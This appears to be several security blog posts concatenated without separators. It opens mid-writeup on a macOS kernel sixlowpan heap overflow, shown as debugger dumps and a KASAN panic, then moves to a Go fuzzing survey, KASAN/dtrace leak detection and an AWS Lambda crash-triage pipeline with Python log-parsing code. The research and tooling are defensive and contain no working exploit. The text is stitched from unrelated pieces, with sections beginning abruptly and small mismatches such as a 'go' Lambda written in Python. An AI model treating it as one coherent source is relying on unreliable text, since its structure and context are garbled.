  kernel`sixxlowpan_uncompress + 298 [inlined] __memmove_chk at sixxlowpan.c:853
  kernel`sixxlowpan_uncompress + 298 at sixxlowpan.c:853
    rflags = 0x0000000000000206
        cs = 0x0000000000000008
        fs = 0x0000000000000000
        gs = 0x0000000000000000


Source:

(lldb) x/20x 0xffffff806f16f806
0xffffff806f16f806: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffff806f16f816: 0x41414141 0x41414141 0x00000000 0x00000000
0xffffff806f16f826: 0x00000000 0x72750000 0x2d726569 0x68737570
0xffffff806f16f836: 0x7070612d 0x632e656c 0x612e6d6f 0x6e64616b
0xffffff806f16f846: 0x656e2e73 0x00002e74 0x00010005 0x62670c28

Dest: 

(lldb) x/20x 0xffffff806f16f82b
0xffffff806f16f82b: 0x69727500 0x702d7265 0x2d687375 0x6c707061
0xffffff806f16f83b: 0x6f632e65 0x6b612e6d 0x736e6461 0x74656e2e
0xffffff806f16f84b: 0x0500002e 0x28000100 0x2d62670c 0x72756f63
0xffffff806f16f85b: 0x2d726569 0x75700a34 0x612d6873 0x656c7070
0xffffff806f16f86b: 0x6d6f6303 0x616b6106 0x03736e64 0x0074656e

As cluster mbuf’s are only 2048 in size and chained together in a linked list style fashion, this will lead to corruption of the proceeding mbuf’s with attacker controlled data.

Running our slightly modified POC 2 against a KASAN kernel (41’s swapped with 45’s) we can also see heap corruption has occured and we have triggered a verification of the nextptr:

panic(cpu 0 caller 0xffffff80108f005e): slab_nextptr_panic: mcache.cl buffer 0xffffff806e4e4800 in slab 0xffffff801a0ed9d0 modified after free at offset 0: 0x45454545454545 out of range [0xffffff806e3b0000-0xffffff80723b0000)

Backtrace (CPU 0), Frame : Return Address
0xffffff8881e8ece0 : 0xffffff800f88bd34 mach_kernel : _handle_debugger_trap + 0x384
0xffffff8881e8ed30 : 0xffffff800fc2598c mach_kernel : _kdp_i386_trap + 0x15c
0xffffff8881e8ed70 : 0xffffff800fc11a47 mach_kernel : _kernel_trap + 0xa87
0xffffff8881e8ee00 : 0xffffff800fc2c6e0 mach_kernel : trap_from_kernel + 0x26
0xffffff8881e8ee20 : 0xffffff800f88b62e mach_kernel : _DebuggerTrapWithState + 0x4e
0xffffff8881e8ef40 : 0xffffff8010ef9636 mach_kernel : _panic_trap_to_debugger.cold.1 + 0xa6
0xffffff8881e8ef90 : 0xffffff800f88c236 mach_kernel : _panic_trap_to_debugger + 0x156
0xffffff8881e8efe0 : 0xffffff8010ef9284 mach_kernel : _panic + 0x54
0xffffff8881e8f050 : 0xffffff80108f005e mach_kernel : _slab_nextptr_panic + 0x2de
0xffffff8881e8f0c0 : 0xffffff80108ee561 mach_kernel : _slab_alloc + 0x301
0xffffff8881e8f150 : 0xffffff80108d2e48 mach_kernel : _mbuf_slab_alloc + 0x1b8
0xffffff8881e8f2b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e
0xffffff8881e8f430 : 0xffffff80108d087d mach_kernel : _mbuf_cslab_alloc + 0x33d
0xffffff8881e8f5b0 : 0xffffff80108722ce mach_kernel : _mcache_alloc_ext + 0x92e
0xffffff8881e8f730 : 0xffffff8010872a23 mach_kernel : _mcache_alloc + 0xd3
0xffffff8881e8f800 : 0xffffff80108d729d mach_kernel : _m_getcl + 0x2d
0xffffff8881e8f8b0 : 0xffffff8010146ed9 mach_kernel : _sixlowpan_input + 0x119
0xffffff8881e8fa10 : 0xffffff8010120986 mach_kernel : _dlil_ifproto_input + 0x136
0xffffff8881e8fa70 : 0xffffff8010102ef3 mach_kernel : _dlil_input_packet_list_common + 0x2153
0xffffff8881e8fe70 : 0xffffff801012010d mach_kernel : _dlil_input_thread_cont + 0x2cd
0xffffff8881e8ffa0 : 0xffffff800fbf85be mach_kernel : _call_continuation + 0x2e

It is expected that due to the controlled size of the write and the controlled data that it would be possible to turn this issue into code execution.

Introduction

To build secure and resilient systems, then it is important it is important to have the tools available to detect issues in code. Humans are not good at identifying complex edge cases and perform reasoning under assumptions when writing code. For many years fuzzing has been commonly used to find bugs within programs written in C/C++, however, only recently these techniques have been started to get applied more to managed languages (Go/Rust/Swift etc). As these languages offer memory safety, fuzzing managed languages leads to other bug classes being identified. In Go this typically exhibits in either a panic, crash of the program, out of memory condition or a hang. There is also the technique of differential fuzzing, where providing the same input to a set of similar programs and observing the results, can lead to semantic or logic bugs being discovered. This article focuses on the former and the tools which can be used to find these issues in Go programs.

Whilst I was looking into this area a new draft design for the Go language to integrate fuzzing as a first class citizen was published. This draft design is still under discussion and the aim of it is to collect feedback before an intended proposal. Perhaps one day there will be fuzzing as a first class citizen within Go, however, until then a more custom approach will likely need to be used.

Fuzzers

Go-Fuzz

The most famous and original coverage-guided fuzzer for Go is Go-Fuzz. Go-fuzz’s acts similar to go tool build and provides source-to-source transformation to add coverage instrumentation. Go-fuzz was pretty much the de-facto fuzzer in the Go world and has found a significant amount of bugs.

However, some issues arise due to the difficulty in integration with other build systems, difficulty in instrumentation with source-to-source tranformation and producing slower code. More in depth discussions of these pitfalls can be found in this thread.

Go-fuzz also provides the ability to produce an archive in which it is possible to link in Clang libfuzzer.

cmd/compile

In Go 1.14, native compiler instrumentation for libfuzzer was added by mdempsky in these two commits one, two. This code coverage instrumentation within the compiler provides the basis for tools to be written which make use of the feedback.

Using -gcflags=all=-d=libfuzzer -buildmode=c-archive as arguments to Go build we can produce a c-archive which can be linked in with libfuzzer manually.

go114-fuzz-build can be used as a wrapper to simplify this process and then then resulting c-archive can be linked in with the libfuzzer driver.

Fzgo

Finally we have a prototype of cmd/go: make fuzzing a first class citizen, like tests or benchmarks called Fzgo. This makes use of Go-Fuzz to integrate it into go test functionality.

Build Systems and CI

When performing fuzzing for the purposes of vulnerability research, it is often enough to just run fuzzers standalone and against a single version of the software. However, to support a scalable secure software development lifecycle in large scale projects, then it is important that fuzzing is integrated as parts of the build system and CI to provide continuous fuzzing.

It is also important to make fuzzing as easy to do and as seamless as possible, so by making it more accessible to “normal” engineering, rather than just security specialists, will lead to much higher quality software being built. This is why build systems which provide this functionality, will make it easier for developers to integrate fuzz testing into their development practices.

OSS-Fuzz

OSS-Fuzz is well known and provides continious fuzzing for open source projects. For Go, OSS-Fuzz previously used to make use of Go-Fuzz for performing fuzzing of Go code, however was switched in April to make use of native cmd/compile libfuzzer instrumentation.

OSS-Fuzz currently makes use of go114-fuzz-build to compile and link with libfuzzer.

There are a number of projects making use of this for fuzzing Go, for example Kubernates or the Go lang project itself Go.

Bazel

Bazel is often used within the Go world as a scalable build system. Whilst there have been Bazel libfuzzer rules written in the past for fuzzing, there currently appears to be an on-going Google intern project to create Bazel fuzzing rules.

A few projects were also found to contain custom Bazel rules for fuzzing:

• Envoy

• Prysm

Fuchsia

Fuchsia is an open-source capability-based operating system being developed by Google. Fuchsia appears to have integrated fuzzing support for Go. This was previously documented here, however, this page seems to be unavailable currently. Digging into the source, however, we can see the build rules and how this has been integrated into the project.

Hosted Continious Fuzzing

There are also a number of hosted continious fuzzing services which support Go fuzzing. These are:

• fuzzit.dev
• fuzzbuzz.io

As these services are “fuzzing as a service” I have not had to chance to use them, however they deserve a mention as continious fuzzing platform providers.

We can see within the XNU KASAN sources that attempts have been made to detect these types of issues when running the instrumented kernel build.

When memory is allocated using the kasan_alloc function, a requested size of memory is memset with a heap fill pattern of 0xbe:

/* uninitialized memory detection */
#define KASAN_UNINITIALIZED_HEAP   0xbe

vm_address_t
kasan_alloc(vm_offset_t addr, vm_size_t size, vm_size_t req, vm_size_t leftrz)
{
	if (!addr) {
		return 0;
	}
	assert(size > 0);
	assert((addr % 8) == 0);
	assert((size % 8) == 0);

	vm_size_t rightrz = size - req - leftrz;

	kasan_poison(addr, req, leftrz, rightrz, ASAN_HEAP_RZ);
	kasan_rz_clobber(addr, req, leftrz, rightrz);

	addr += leftrz;

	if (enabled_checks & TYPE_LEAK) {
		__nosan_memset((void *)addr, KASAN_UNINITIALIZED_HEAP, req);
	}

A check is then performed when performing copying out data from kernel space to userspace (using the copyout function), copy_validate is called:

static int
copy_validate(const user_addr_t user_addr, uintptr_t kernel_addr,
    vm_size_t nbytes, copyio_flags_t flags)
{
	...

#if KASAN
		/* For user copies, asan-check the kernel-side buffer */
		if (flags & COPYIO_IN) {
			__asan_storeN(kernel_addr, nbytes);
		} else {
			__asan_loadN(kernel_addr, nbytes);
			kasan_check_uninitialized((vm_address_t)kernel_addr, nbytes);
		}
#endif

and the copyio code has been modified to also introduce a check:

#if KASAN
	switch (copy_type) {
	case COPYIN:
	case COPYINSTR:
	case COPYINATOMIC32:
	case COPYINATOMIC64:
		__asan_storeN((uptr)kernel_addr, nbytes);
		break;
	case COPYOUT:
	case COPYOUTATOMIC32:
	case COPYOUTATOMIC64:
		__asan_loadN((uptr)kernel_addr, nbytes);
		kasan_check_uninitialized((vm_address_t)kernel_addr, nbytes);
		break;
	}
#endif

The check determines if the heap fill pattern is included within the data which is going to be copied to userspace. If the max_count of leaked bytes is >= than the leak_threshold, the leak is reported:

/*
 * Check for possible uninitialized memory contained in [base, base+sz).
 */
void
kasan_check_uninitialized(vm_address_t base, vm_size_t sz)
{
	if (!(enabled_checks & TYPE_LEAK) || sz < leak_threshold) {
		return;
	}

	vm_address_t cur = base;
	vm_address_t end = base + sz;
	vm_size_t count = 0;
	vm_size_t max_count = 0;
	vm_address_t leak_offset = 0;
	uint8_t byte = 0;

	while (cur < end) {
		byte = *(uint8_t *)cur;
		count = (byte == KASAN_UNINITIALIZED_HEAP) ? (count + 1) : 0;
		if (count > max_count) {
			max_count = count;
			leak_offset = cur - (count - 1) - base;
		}
		cur += 1;
	}

	if (max_count >= leak_threshold) {
		kasan_report_leak(base, sz, leak_offset, max_count);
	}
}

So how do we enable this feature and get hold of the output?

KASAN_ARGS_CHECK_LEAKS 0x0800U can be used to enable the feature:

sudo nvram boot-args="-v keepsyms=1 debug=0x2444 kasan=0x0800 kcsuffix=kasan"

Then we need find out how to obtain the output:

static void
kasan_report_leak(vm_address_t base, vm_size_t sz, vm_offset_t offset, vm_size_t leak_sz)
{
	if (leak_fatal_threshold > leak_threshold && leak_sz >= leak_fatal_threshold){
		kasan_violation(base + offset, leak_sz, TYPE_LEAK, REASON_UNINITIALIZED);
	}

	char string_rep[BACKTRACE_MAXFRAMES * 20] = {};
	vm_offset_t stack_base = dtrace_get_kernel_stack(current_thread());
	bool is_stack = (base >= stack_base && base < (stack_base + kernel_stack_size));

	if (!is_stack) {
		uintptr_t alloc_bt[BACKTRACE_MAXFRAMES] = {};
		vm_size_t num_frames = 0;
		size_t l = 0;
		num_frames = kasan_alloc_retrieve_bt(base, alloc_bt);
		for (vm_size_t i = 0; i < num_frames; i++) {
			l += snprintf(string_rep + l, sizeof(string_rep) - l, " %lx", alloc_bt[i]);
		}
	}

	DTRACE_KASAN5(leak_detected,
				  vm_address_t, base,      
				  vm_size_t, sz,           
				  vm_offset_t, offset,     
				  vm_size_t, leak_sz,      
				  char *, string_rep);    
}

Looking at this we can see there are two methods:

• Turning leaks into a fatal crash

• Using dtrace to log the leak

The downside of the first method is that it is way harder to debug and root cause the leak with post mortem debugging compared to a live running kernel. Therefore, I explored more of the dtrace method. For those of you not familiar, dtrace is a dynamic tracing framework typically used for kernel and application troubleshooting. There has been a number of great security relevant presentations in the past about using dtrace to aid reverse engineering or bugs within the dtrace subsystem itself.

In order to obtain the output, we can make use of the dtrace probe registered by KASAN. You can see this by listing the dtrace probes or looking in the source:

ID   PROVIDER            MODULE                          FUNCTION NAME
.. 
1840      kasan       mach_kernel         kasan_check_uninitialized leak_detected

Then we can write a dtrace script as follows, which will be used to log the leak address, offset and size. I also use the tracemem function to provide a nice hexdump of the memory:

kasan::kasan_check_uninitialized:leak_detected
{
    printf ("kasan leak at 0x%p of size %u, offset %u leak size %u repr: %s ",arg0,arg1,arg2,arg3,stringof(arg4));
    tracemem(arg0, 512);
}

This can be run using dtrace -s kasan.d

By default the leak threshold is set to => 3 bytes. This can also be controlled by both an nvram or systl setting (leak_threshold=whatever).

In the case of the address being on the kernel stack, a string representation is created of where it was initially allocated. However, throughout testing, it was determined that the stack trace was not symbolized, and therefore required jumping into a kernel debugger to determine the symbolic location.

Ideally we would like the stack of where the copyout is called from too. To do this we can simple add a stack call to our dtrace script:

kasan::kasan_check_uninitialized:leak_detected
{
    printf ("kasan leak at 0x%p of size %u, offset %u leak size %u repr: %s ",arg0,arg1,arg2,arg3,stringof(arg4));
    tracemem(arg0, 512);
    stack()
}

Since we are looking for uninitialized memory bugs which are easily reproducable, what we could also do would be to modify any output received by a fuzzer to detect the fill pattern (0xbe). For example, a common location would be IOConnectCallMethod output and outputStruct values. An example of such a leak is CVE-2015-5864 - Heap Info Leak where a kernel address was being leaked to userspace.

The downside with this approach is that you really need to cover all the possible wrappers which use copyout. Therefore using both the dtrace technique and some manual effort to locate the right areas to audit, we can discover when uninitialized data is being copied into userspace. Then we can drop to kernel debugging to confirm the issue.

When triaging a crash we often want to see at glance the type of crash it is in order to prioritise and determine if the crash is worth further manual investigation. For example, with something like browser fuzzing, we often end up with a significant amount of crashes where a large majority are not interesting from a security perspective (i.e. not exploitable). We either want to identify interesting crashes or filter out non-interesting ones without having to manually triage each crash. This article focuses on how AWS constructs can be used to trigger triage events.

This article is just going to demonstrate brief extraction of crash metadata in response to a trigger. In general for crash triage we care about the following information:

• Registers
• Stack Frame
• Faulting Instruction (if available)
• Type of crash (read/write etc)

If we have this information at a glance, we can see if the crash would be good for further manual investigation and root cause analysis.

Lambda functions allow us to apply event driven processing to a crash at soon as it is available for processing and therefore are perfect for this task. Whilst we could have implemented this logic on the client side, this blog post we describes the creation of a Lambda function and hook it up with our crash data store to perform processing DynamoDB.

Architecture Diagram

We will assume the following simple hypothetical fuzzing architectural design:

In this architecture we will assume the following from each component:

• Fuzz Nodes - The fuzz nodes are our EC2 instances running a fuzzer, performing crash detection and adding the crash to DynamoDB.
• Amazon DynamoDB - This database will store all crashes found by the fuzzer nodes.
• Amazon CloudWatch Logs - This will be used for logging for both the Lambda Function and DynamoDB.
• IAM Roles - An IAM role is an IAM entity which defines the set of permissions for the AWS service which the role is assigned to.

We will assume once our crash harness detects a crash, then the crash is added to the database. This allows triggering of our post-processing triage lamda.

The general approach is as follows:

1. A fuzzer generates a crash record and enters it into the Crashes table in DynamoDB.
2. A stream record is written to show that the crash has been entered into Crashes table.
3. The stream record will fire an AWS Lambda Function.
4. The Lambda Function will add additional metadata to the crash.

With this high level architecture in mind, I will start to outline each of the component implementations in detail.

DynamoDB Table Creation

One big design choice when building a scalable fuzzing solution is the choice of data storage. When building a cloud based fuzzing platform, the obvious choice is to use one of the cloud native stores (AWS - DynamoDB, GCP - Google Datastore or a cloud based file storage (S3 bucket , Google Cloud Storage) etc. The database method seems a better choice and allows queries to be performed across the entire crash corpus. It also allowed for AWS Lambda’s to be used to perform post processing of the crash information.

In order for a Lambda to be executed on a certain DynamoDB event, then it is necessary to enable streams on the table. Streams allow applications to benefit from the ability to capture changes to items stored within a DynamoDB table. A DynamoDB stream is an ordered flow of information changes to an items in a DynamoDB table.

For this blog post we will assume that new table within DynamoDB will be created from scratch. This can be performed either using the SDK CLI or the GUI interface.

We will create a DynamoDB table with the following information:

Table Name: Crashes 
Primary Key: UUID (String)

We use a UUID to represent a unique crash record within the database and therefore will also use this as the primary key.

This can be done via the AWS CLI as follows:

$ aws dynamodb create-table \
    --table-name Crashes \
    --attribute-definitions \
        AttributeName=UUID,AttributeType=S \
    --key-schema \
        AttributeName=UUID,KeyType=HASH \
	--provisioned-throughput \
        ReadCapacityUnits=10,WriteCapacityUnits=5 \
    --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

This will create a table and enable streams for the table. For more information about the Dynamo DB streams then this article provides a good introduction.

One thing to note here is the usage of NEW_AND_OLD_IMAGES, this specifies:

• NEW_AND_OLD_IMAGES - Both the new and the old item images of the item are written to the stream.

It is also important that we take a note of this stream ARN (as this will be used in the IAM policies):

arn:aws:dynamodb:eu-west-2:***********:table/Crashes/stream/2020-02-25T16:22:27.122

We can list the streams using the following API:

$ aws dynamodbstreams list-streams

Then describe a stream as follows for more information on it:

$ aws dynamodbstreams describe-stream \
    --stream-arn arn:aws:dynamodb:eu-west-2:******:table/Crashes/stream/2020-04-07T12:57:19.229

The Triage Lambda Itself

Now the interesting part! We will write code to parse an Address Sanitizer log file and extract relevant parts, then hook up this code to be triggered on DB entry. I will use as an example parsing the log files from ASAN, however, any log file parsing could be used (asan/ksan/gdb/lldb/whatever). The ideal architecture would handle various types of log parsing dependant on the software under test at the time and output the data in a generic form.

To simulate a fuzzer entering a crash to the Crashes table the following code can be used. Normally the crash harness part of the fuzzer would be performing this process.

First we convert our log file into the right JSON format to put into the database using the following:

import json
import uuid

fn = "test.log"
contents = None

with open (fn, "r") as myfile:
    contents=myfile.read()

uuid_str = str(uuid.uuid4())

json = """{
	"UUID" : {"S" : "%s" },
	"asan_log" : {"S": %s }
}
""" % (uuid_str,json.dumps(contents))

print(json)

and run it as follows:

$ python log_to_json.py > post.json

Once we have our JSON, we can then enter it into DynamoDB using the AWS CLI tools:

$ aws dynamodb put-item \
	--table-name Crashes \
	--item file://post.json \
	--return-consumed-capacity TOTAL

This will simulate a crash being created within the DB for this item and can be used for testing the upcoming Lambda function code.

IAM Role and Policy

An IAM role is an AWS Identity and Access Management (IAM) entity with permissions to make AWS service requests. IAM roles cannot make direct requests to AWS services; they are meant to be assumed by authorized entities, such as IAM users, applications, or AWS services such as EC2.

We now need to create a IAM policy and role for our lambda to execute under to allow it both read and write access to the database table.

We need to make a note of the role ARN so it an be used in the lambda deployment step.

We now need to create two policies, firstly a trust policy (trust-policy.json):

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "lambda.amazonaws.com"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}

This json can then be used for creation as follows:

$ aws iam create-role --role-name lambda-ex --assume-role-policy-document file://trust-policy.json

We also want to give the Lambda read/write access to DynamoDB. We also need to give it permissions to log to CloudWatch. We can do this by creating a permission policy (permission-policy.json) (and updating the ARN with the ARN of the table):

{
	"Version": "2012-10-17",
	"Statement": [{
			"Effect": "Allow",
			"Action": [
				"dynamodb:BatchGetItem",
				"dynamodb:GetItem",
				"dynamodb:Query",
				"dynamodb:Scan",
				"dynamodb:BatchWriteItem",
				"dynamodb:PutItem",
				"dynamodb:UpdateItem"
			],
			"Resource": "arn:aws:dynamodb:eu-west-1:123456789012:table/Crashes"
		},
		{
			"Effect": "Allow",
			"Action": [
				"logs:CreateLogStream",
				"logs:PutLogEvents"
			],
			"Resource": "arn:aws:logs:eu-west-1:123456789012:*"
		},
		{
			"Effect": "Allow",
			"Action": "logs:CreateLogGroup",
			"Resource": "*"
		}
	]
}

The permissions can then be attached to the role as follows:

$ aws iam put-role-policy --role-name lambda-ex --policy-name LambdaDynamoDBPolicy --policy-document file://permission-policy.json

At this point we have a lambda execution role with the correct polices attached.

We can now create a basic Lambda (lambda_handler.py) in go which will log the event data to CloudWatch.

def my_handler(event, context):
    print(event)

    return { 
        'message' : event
    }

This is useful as it will print to the CloudWatch logs the format of the event from the DynamoDB stream when executed.

This can then be packaged and deployed as follows:

$ zip function.zip lambda_handler.py

$ aws lambda create-function --function-name TriageLambda --runtime python3.7 \
  --zip-file fileb://function.zip --handler lambda_handler.my_handler \
  --role arn:aws:iam::123456789012:role/lambda-ex 

Creating a Lambda Trigger

We now need to hook up our Lambda with DynamoDB so that we get can process the stream data when available.

We need to add ‘AWSLambdaDynamoDBExecutionRole’ to the role to allow this:

$ aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaDynamoDBExecutionRole --role-name lambda-ex

We also need to give the AWS lambda permissions to write to the cloudwatch logs too:

$ aws iam attach-role-policy --policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaBasicExecutionRole --role-name lambda-ex

This can be performed as follows:

$ aws dynamodb describe-table --table-name Crashes

In this output you should see the ‘LatestStreamArn’ value.

We can then create an event source mapping as follows (where streamARN is the ARN returned above):

$ aws lambda create-event-source-mapping \
    --function-name TriageLambda \
    --event-source streamARN  \
    --batch-size 1 \
    --starting-position TRIM_HORIZON

A stream mapping can be viewed (and deleted - if needed!) as follows:

$ aws lambda list-event-source-mappings
$ aws lambda delete-event-source-mapping --uuid ****** 

We can then test our lambda function is working by running the following script to simulate a fuzzer putting an item to the database:

$ aws dynamodb put-item \
	--table-name Crashes \
	--item file://post.json \
	--return-consumed-capacity TOTAL

We can check to see if our function has executed correctly as follows:

$ aws lambda list-event-source-mappings --function-name TriageLambda
{
    "EventSourceMappings": [
        {
            "UUID": "*****",
            "BatchSize": 1,
            "MaximumBatchingWindowInSeconds": 0,
            "ParallelizationFactor": 1,
            "EventSourceArn": "arn:aws:dynamodb:eu-west-2:***********:table/Crashes/stream/2020-04-08T09:30:19.619",
            "FunctionArn": "arn:aws:lambda:eu-west-2::***********::function:TriageLambda",
            "LastModified": "2020-04-09T10:37:00+01:00",
            "LastProcessingResult": "OK",
            "State": "Enabled",
            "StateTransitionReason": "User action",
            "DestinationConfig": {
                "OnFailure": {}
            },
            "MaximumRecordAgeInSeconds": 604800,
            "BisectBatchOnFunctionError": false,
            "MaximumRetryAttempts": 10000
        }
    ]
}

The list returns all of the event source mappings you created, and for each mapping it shows the LastProcessingResult, among other things. This field is used to provide an informative message if there are any problems. Values such as No records processed (indicates that AWS Lambda has not started polling or that there are no records in the stream) and OK (indicates AWS Lambda successfully read records from the stream and invoked your Lambda function) indicate that there are no issues. If there are issues, you receive an error message.

Looking in Cloudwatch logs we can now see the following output:

{'Records': [{'eventID': '99c8a9f0d9eef8fcf70a0e9faeb62894', 'eventName': 'INSERT', 'eventVersion': '1.1', 'eventSource': 'aws:dynamodb', 'awsRegion': 'eu-west-2', 'dynamodb': {'ApproximateCreationDateTime': 1586339400.0, 'Keys': {'UUID': {'S': '*****-c820-4e81-9909-157e3dea06d4'}}, 'NewImage': {'asan_log': {'S': "=================================================================\n==1382==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffee99d8a40 at pc 0x00010628a26b bp 0x7ffee99d8910 sp 0x7ffee99d80c0\nWRITE of size 1024 at 0x7ffee99d8a40 thread T0\n    #0 0x10628a26a in __asan_memset (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x5f26a)\n    #1 0x106227e48 in main overflow.c:4\n    #2 0x7fff6ba707fc in start (libdyld.dylib:x86_64+0x1a7fc)\n\nAddress 0x7ffee99d8a40 is located in stack of thread T0 at offset 288 in frame\n    #0 0x106227d0f in main overflow.c:2\n\n  This frame has 1 object(s):\n    [32, 288) 'buf' (line 3) <== Memory access at offset 288 overflows this variable\nHINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork\n      (longjmp and C++ exceptions *are* supported)\nSUMMARY: AddressSanitizer: stack-buffer-overflow (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x5f26a) in __asan_memset\nShadow bytes around the buggy address:\n  0x1fffdd33b0f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x1fffdd33b100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x1fffdd33b110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x1fffdd33b120: 00 00 00 00 f1 f1 f1 f1 00 00 00 00 00 00 00 00\n  0x1fffdd33b130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x1fffdd33b140: 00 00 00 00 00 00 00 00[f3]f3 f3 f3 f3 f3 f3 f3\n  0x1fffdd33b150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x1fffdd33b160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x1fffdd33b170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x1fffdd33b180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x1fffdd33b190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==1382==ABORTING\n"}, 'UUID': {'S': 'fb82e2bb-c820-4e81-9909-157e3dea06d4'}}, 'SequenceNumber': '400000000007861311075', 'SizeBytes': 2485, 'StreamViewType': 'NEW_AND_OLD_IMAGES'}, 'eventSourceARN': 'arn:aws:dynamodb:eu-west-2:***********:table/Crashes/stream/2020-04-08T09:30:19.619'}]}

Now we can write our log extraction and database modification code to perform extraction of the log file.

Log Parsing

As a quick example we will demonstrate parsing a ASAN log file. The log file here is just from a simple stack overflow.

The code will extract the following:

• Stack Trace
• Faulting Instruction
• Type of Crash

It will also create a hash to allow for crash binning (we could also bucket crashes in the database like this).

Firstly we need to obtain the log file passed as the ‘asan_log’ event parameter from the event:

"""
This lambda function demonstrates log parsing and updating the database according to crash logs.
"""

import json

def my_handler(event, context):
    #print(event)
    #asan_log = event['asan_log']
    #print(asan_log)
    message = "test"
    for record in event['Records']:
        if record['eventName'] == "INSERT":
            message = json.dumps(record['dynamodb']['NewImage']['asan_log']['S'])
            print(message)

    return { 
        'message' : message
    }

Now we can implement our log parsing logic to extract the relevant parts of the log.

import json
import boto3
import json
import re
import hashlib
import binascii

class asanlogparse:
    def __init__(self,log_data):
        print("++ parsing asan output")
        self.log_data = log_data
        self.symbolized_lines = []
        self.error_line = ""
        self.read_or_write = ""

    def print_stack(self):
        for l in self.symbolized_lines:
            print(l)

    def process_log(self):
        read_or_write = False

        for line in self.log_data:
            line = line.strip()
            #print(line)

            stack_trace_line_format = ('^( *#([0-9]+) *)(0x[0-9a-f]+) in (.*)')
            match = re.match(stack_trace_line_format, line)

            if not match:
                if "ERROR: AddressSanitizer" in line:
                    self.error_line = line
                    self.parse_error_line()
                elif "READ" in line or "WRITE" in line:
                    if not read_or_write:
                        self.read_or_write = line
                #print("++ no match")
                continue

            _, frameno_str, addr, symbol = match.groups()
            self.symbolized_lines.append(symbol)
            #print frameno_str, addr, symbol

    """ ==3909== ERROR: AddressSanitizer heap-buffer-overflow on address 0x7fd82049edbd at pc 0x40bcbb bp 0x7fff08117a00 sp 0x7fff081179e8 """
    def extract_error_line(self):
        return self.error_line

    def parse_error_line(self):
        pattern = ".*(0x[0-9a-f]+).*(0x[0-9a-f]+).*(0x[0-9a-f]+).*(0x[0-9a-f]+)"
        match = re.match(pattern,self.error_line)
        if not match:
             address = ""
             pc = ""
             bp = ""
             sp = ""
        else:
            address, pc, bp, sp = match.groups()
        return "Fault Address: " + address + " PC: " + pc + " BP: " + bp + " SP: " + sp

    def type_of_fault(self):
        if "heap-buffer-overflow" in self.error_line:
            return "heap-buffer-overflow"
        elif "heap-use-after-free" in self.error_line:
            return "heap-use-after-free"
        elif "stack-buffer-overflow" in self.error_line:
            return "stack-buffer-overflow"
        else:
            return "UNKNOWN"

    def get_read_or_write(self):
        return self.read_or_write

    def stack_hash(self):
        i = 0
        stack_hash = hashlib.sha1()
        for l in self.symbolized_lines:
            print(l)
            if i > 5:
                break
            else:
                stack_hash.update(l.encode('utf-8'))
                i += 1

        return binascii.hexlify(stack_hash.digest())

    def get_stackframe(self):
        stack_lines = []
        i = 0
        for l in self.symbolized_lines:
            if i > 10:
                break
            else:
                stack_lines.append(l)
                i += 1
        return stack_lines

Database Update Code

Putting this all together, we can add the update DynamoDB code with new fields to provide this metadata to allow for queries.

""" 
This lambda function demonstrates log parsing and updating the database according to crash logs.
"""

import json
import boto3
import json
import re
import hashlib
import binascii

class asanlogparse:
    def __init__(self,log_data):
        print("++ parsing asan output")
        self.log_data = log_data
        self.symbolized_lines = []
        self.error_line = ""
        self.read_or_write = ""

    def print_stack(self):
        for l in self.symbolized_lines:
            print(l)

    def process_log(self):
        read_or_write = False

        for line in self.log_data:
            line = line.strip()
            #print(line)

            stack_trace_line_format = ('^( *#([0-9]+) *)(0x[0-9a-f]+) in (.*)')
            match = re.match(stack_trace_line_format, line)

            if not match:
                if "ERROR: AddressSanitizer" in line:
                    self.error_line = line
                    self.parse_error_line()
                elif "READ" in line or "WRITE" in line:
                    if not read_or_write:
                        self.read_or_write = line
                #print("++ no match")
                continue

            _, frameno_str, addr, symbol = match.groups()
            self.symbolized_lines.append(symbol)
            #print frameno_str, addr, symbol

    """ ==3909== ERROR: AddressSanitizer heap-buffer-overflow on address 0x7fd82049edbd at pc 0x40bcbb bp 0x7fff08117a00 sp 0x7fff081179e8 """
    def extract_error_line(self):
        return self.error_line

    def parse_error_line(self):
        pattern = ".*(0x[0-9a-f]+).*(0x[0-9a-f]+).*(0x[0-9a-f]+).*(0x[0-9a-f]+)"
        match = re.match(pattern,self.error_line)
        if not match:
             address = ""
             pc = ""
             bp = ""
             sp = ""
        else:
            address, pc, bp, sp = match.groups()
        return "Fault Address: " + address + " PC: " + pc + " BP: " + bp + " SP: " + sp

    def type_of_fault(self):
        if "heap-buffer-overflow" in self.error_line:
            return "heap-buffer-overflow"
        elif "heap-use-after-free" in self.error_line:
            return "heap-use-after-free"
        elif "stack-buffer-overflow" in self.error_line:
            return "stack-buffer-overflow"
        else:
            return "UNKNOWN"

    def get_read_or_write(self):
        return self.read_or_write

